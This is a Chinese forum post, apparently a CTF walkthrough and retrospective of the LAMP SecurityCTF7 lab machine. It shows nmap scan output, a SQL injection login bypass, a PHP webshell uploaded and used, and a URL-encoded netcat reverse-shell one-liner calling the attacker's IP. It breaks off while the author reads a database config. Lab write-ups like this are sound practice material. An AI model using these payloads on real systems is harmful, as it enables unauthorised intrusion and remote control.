找回密码
 立即注册
首页 业界区 安全 LAMP SecurityCTF7 WP&复盘

LAMP SecurityCTF7 WP&复盘

慕疼 前天 17:13
这台靶机进入了一个思维误区,故复盘记录
资产很多,兔子洞也很多
其实不用先拿到apache再横向提权的
这个靶机sql注入漏洞很多而且各种各样,我当时先SQL注入dump了数据库,当时卡着是因为ssh旧算法kali不支持,所以ssh连不上,hydra也爆不出来
再加上资产很多,就觉得密码喷射的概率不大,感觉直接连ssh概率不大,就没有折腾了
在roundcude,smb上也浪费了一些时间
还有一点,就是最关键的brian用户的MD5密码没有爆出来,因为当时直接用sqlmap顺便给rockyou爆的,以后还是不能图方便,要用专业工具
这个靶机利用原理很简单,但是做起来并不很顺畅,感觉之后还是要多练这种资产多的机器
nmap扫描

端口扫描
  1. ┌──(kali㉿kali)-[~/Redteam/replay/ctf7]
  2. └─$ nmap -sT --min-rate=10000 -p- 10.10.10.140 -oA nmapscan/ports
  3. Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 04:57 EDT
  4. Nmap scan report for 10.10.10.140
  5. Host is up (0.027s latency).
  6. Not shown: 65497 filtered tcp ports (no-response), 29 filtered tcp ports (host-unreach)
  7. PORT      STATE  SERVICE
  8. 22/tcp    open   ssh
  9. 80/tcp    open   http
  10. 137/tcp   closed netbios-ns
  11. 138/tcp   closed netbios-dgm
  12. 139/tcp   open   netbios-ssn
  13. 901/tcp   open   samba-swat
  14. 5900/tcp  closed vnc
  15. 8080/tcp  open   http-proxy
  16. 10000/tcp open   snet-sensor-mgmt
  17. MAC Address: 00:0C:29:56:23:07 (VMware)
  18. Nmap done: 1 IP address (1 host up) scanned in 23.90 seconds
复制代码
开的服务有点多
  1. ┌──(kali㉿kali)-[~/Redteam/replay/ctf7]
  2. └─$ port=$(cat nmapscan/ports.nmap|grep open | awk -F '/' '{print $1}'| paste -sd ',')
复制代码
进行tcp详细扫描,然后判断渗透优先级
  1. ┌──(kali㉿kali)-[~/Redteam/replay/ctf7]
  2. └─$ nmap -sT -sC -sV -O -p22,80,139,901,8080,10000 10.10.10.140 -oA nmapscan/detail
  3. Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 05:02 EDT
  4. Nmap scan report for 10.10.10.140
  5. Host is up (0.0017s latency).
  6. PORT      STATE SERVICE     VERSION
  7. 22/tcp    open  ssh         OpenSSH 5.3 (protocol 2.0)
  8. | ssh-hostkey:
  9. |   1024 41:8a:0d:5d:59:60:45:c4:c4:15:f3:8a:8d:c0:99:19 (DSA)
  10. |_  2048 66:fb:a3:b4:74:72:66:f4:92:73:8f:bf:61:ec:8b:35 (RSA)
  11. 80/tcp    open  http        Apache httpd 2.2.15 ((CentOS))
  12. |_http-title: Mad Irish Hacking Academy
  13. |_http-server-header: Apache/2.2.15 (CentOS)
  14. | http-cookie-flags:
  15. |   /:
  16. |     PHPSESSID:
  17. |_      httponly flag not set
  18. 139/tcp   open  netbios-ssn Samba smbd 3.5.10-125.el6 (workgroup: MYGROUP)
  19. 901/tcp   open  http        Samba SWAT administration server
  20. | http-auth:
  21. | HTTP/1.0 401 Authorization Required\x0D
  22. |_  Basic realm=SWAT
  23. |_http-title: 401 Authorization Required
  24. 8080/tcp  open  http        Apache httpd 2.2.15 ((CentOS))
  25. |_http-server-header: Apache/2.2.15 (CentOS)
  26. | http-title: Admin :: Mad Irish Hacking Academy
  27. |_Requested resource was /login.php
  28. | http-cookie-flags:
  29. |   /:
  30. |     PHPSESSID:
  31. |_      httponly flag not set
  32. |_http-open-proxy: Proxy might be redirecting requests
  33. 10000/tcp open  http        MiniServ 1.610 (Webmin httpd)
  34. | http-robots.txt: 1 disallowed entry
  35. |_/
  36. |_http-title: Login to Webmin
  37. MAC Address: 00:0C:29:56:23:07 (VMware)
  38. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  39. Device type: general purpose|router|storage-misc|media device|webcam
  40. Running (JUST GUESSING): Linux 2.6.X|3.X|4.X|5.X (97%), MikroTik RouterOS 7.X (91%), Drobo embedded (89%), Synology DiskStation Manager 5.X (89%), LG embedded (88%), Tandberg embedded (88%)
  41. OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2
  42. Aggressive OS guesses: Linux 2.6.32 - 3.13 (97%), Linux 2.6.32 - 3.10 (97%), Linux 2.6.32 - 2.6.39 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 (91%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%)
  43. No exact OS matches for host (test conditions non-ideal).
  44. Network Distance: 1 hop
  45. Host script results:
  46. |_smb2-time: Protocol negotiation failed (SMB2)
  47. | smb-security-mode:
  48. |   account_used: guest
  49. |   authentication_level: user
  50. |   challenge_response: supported
  51. |_  message_signing: disabled (dangerous, but default)
  52. | smb-os-discovery:
  53. |   OS: Unix (Samba 3.5.10-125.el6)
  54. |   Computer name: localhost
  55. |   NetBIOS computer name:
  56. |   Domain name:
  57. |   FQDN: localhost
  58. |_  System time: 2025-08-25T03:06:47-04:00
  59. |_clock-skew: mean: -21d23h55m41s, deviation: 2h49m44s, median: -22d01h55m43s
  60. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  61. Nmap done: 1 IP address (1 host up) scanned in 89.28 seconds
复制代码
smb是user级的,所以先不考虑
先看80,8080,10000
同时进行脚本扫描
  1. ┌──(kali㉿kali)-[~/Redteam/replay/ctf7]
  2. └─$ nmap --script=vuln -p22,80,139,901,8080,10000 10.10.10.140 -oA nmapscan/vuln
  3. Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 05:05 EDT
  4. Nmap scan report for 10.10.10.140
  5. Host is up (0.0010s latency).
  6. PORT      STATE SERVICE
  7. 22/tcp    open  ssh
  8. 80/tcp    open  http
  9. | http-cookie-flags:
  10. |   /:
  11. |     PHPSESSID:
  12. |_      httponly flag not set
  13. | http-slowloris-check:
  14. |   VULNERABLE:
  15. |   Slowloris DOS attack
  16. |     State: LIKELY VULNERABLE
  17. |     IDs:  CVE:CVE-2007-6750
  18. |       Slowloris tries to keep many connections to the target web server open and hold
  19. |       them open as long as possible.  It accomplishes this by opening connections to
  20. |       the target web server and sending a partial request. By doing so, it starves
  21. |       the http server's resources causing Denial Of Service.
  22. |      
  23. |     Disclosure date: 2009-09-17
  24. |     References:
  25. |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
  26. |_      http://ha.ckers.org/slowloris/
  27. | http-enum:
  28. |   /webmail/: Mail folder
  29. |   /css/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
  30. |   /icons/: Potentially interesting folder w/ directory listing
  31. |   /img/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
  32. |   /inc/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
  33. |   /js/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
  34. |_  /webalizer/: Potentially interesting folder
  35. |_http-dombased-xss: Couldn't find any DOM based XSS.
  36. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  37. |_http-trace: TRACE is enabled
  38. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
  39. | http-fileupload-exploiter:
  40. |   
  41. |     Couldn't find a file-type field.
  42. |   
  43. |     Couldn't find a file-type field.
  44. |   
  45. |     Couldn't find a file-type field.
  46. |   
  47. |     Couldn't find a file-type field.
  48. |   
  49. |     Couldn't find a file-type field.
  50. |   
  51. |_    Couldn't find a file-type field.
  52. | http-csrf:
  53. | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.140
  54. |   Found the following possible CSRF vulnerabilities:
  55. |     
  56. |     Path: http://10.10.10.140:80/signup
  57. |     Form id: email
  58. |_    Form action: /signup_scr
  59. 139/tcp   open  netbios-ssn
  60. 901/tcp   open  samba-swat
  61. 8080/tcp  open  http-proxy
  62. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
  63. |_http-trace: TRACE is enabled
  64. | http-cookie-flags:
  65. |   /:
  66. |     PHPSESSID:
  67. |       httponly flag not set
  68. |   /login.php:
  69. |     PHPSESSID:
  70. |_      httponly flag not set
  71. | http-enum:
  72. |   /login.php: Possible admin folder
  73. |   /phpmyadmin/: phpMyAdmin
  74. |   /docs/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
  75. |   /icons/: Potentially interesting folder w/ directory listing
  76. |_  /inc/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
  77. 10000/tcp open  snet-sensor-mgmt
  78. MAC Address: 00:0C:29:56:23:07 (VMware)
  79. Host script results:
  80. | smb-vuln-cve2009-3103:
  81. |   VULNERABLE:
  82. |   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
  83. |     State: VULNERABLE
  84. |     IDs:  CVE:CVE-2009-3103
  85. |           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
  86. |           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
  87. |           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
  88. |           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
  89. |           aka "SMBv2 Negotiation Vulnerability."
  90. |           
  91. |     Disclosure date: 2009-09-08
  92. |     References:
  93. |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
  94. |_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
  95. | smb-vuln-regsvc-dos:
  96. |   VULNERABLE:
  97. |   Service regsvc in Microsoft Windows systems vulnerable to denial of service
  98. |     State: VULNERABLE
  99. |       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
  100. |       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
  101. |       while working on smb-enum-sessions.
  102. |_         
  103. |_smb-vuln-ms10-061: false
  104. |_smb-vuln-ms10-054: false
  105. Nmap done: 1 IP address (1 host up) scanned in 121.85 seconds
复制代码
在8080端口,使用万能sql注入1' or1=1-- -直接进入后台,并且发现http://10.10.10.140:8080/readings.php?id=1&op=edit可以直接上传文件,尝试利用
1.png

先尝试文件上传是否可以利用
先直接写一个木马
2.png

3.png

可以看到上传成功了
接下来爆破目录找一下上传位置,同时在看一下nmap脚本扫描中有没有什么有用的信息
中途发现如果重新编辑这个上传,会报错:
4.png

它的uploading上传到assets目录上,可以留意一下这个目录会不会是upload目录
找了找,在
5.png

果然找到了上传的php
这个地方,是在8080端口上传的php,却在80端口的目录下找到的文件
这种情况是合理的,以后多web服务需要考虑共享文件系统等情况
6.png

可以看到可以成功利用
接下来反弹shell
试了试,好像无法成功通过木马反弹,可能有一点限制
  1. http://10.10.10.140/assets/muma.php?aaa=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/bash%20-i%202%3E&1|nc%2010.10.10.128%20443%20%3E/tmp/f
复制代码
尝试直接上传反弹shell
直接上传可以利用:
7.png
  1. bash-4.1$ cd home
  2. cd home
  3. bash-4.1$ ls
  4. ls
  5. alice  brian  bruce  charles  john  julia  leon  michael  neil        ruby  webdev
复制代码
可以看到有很多用户
用户多的情况下,试试递归拿密码
没有用,看了下这些目录没有查看权限
还有很多线索没用上,之前在8080端口使用万能密码进去,说明有SQL注入
尝试拿数据库,里面或许有能用
也可以直接在初始shell里找找能不能直接登录数据库
先查找数据库配置文件
[code]cat db.php

相关推荐

您需要登录后才可以回帖 登录 | 立即注册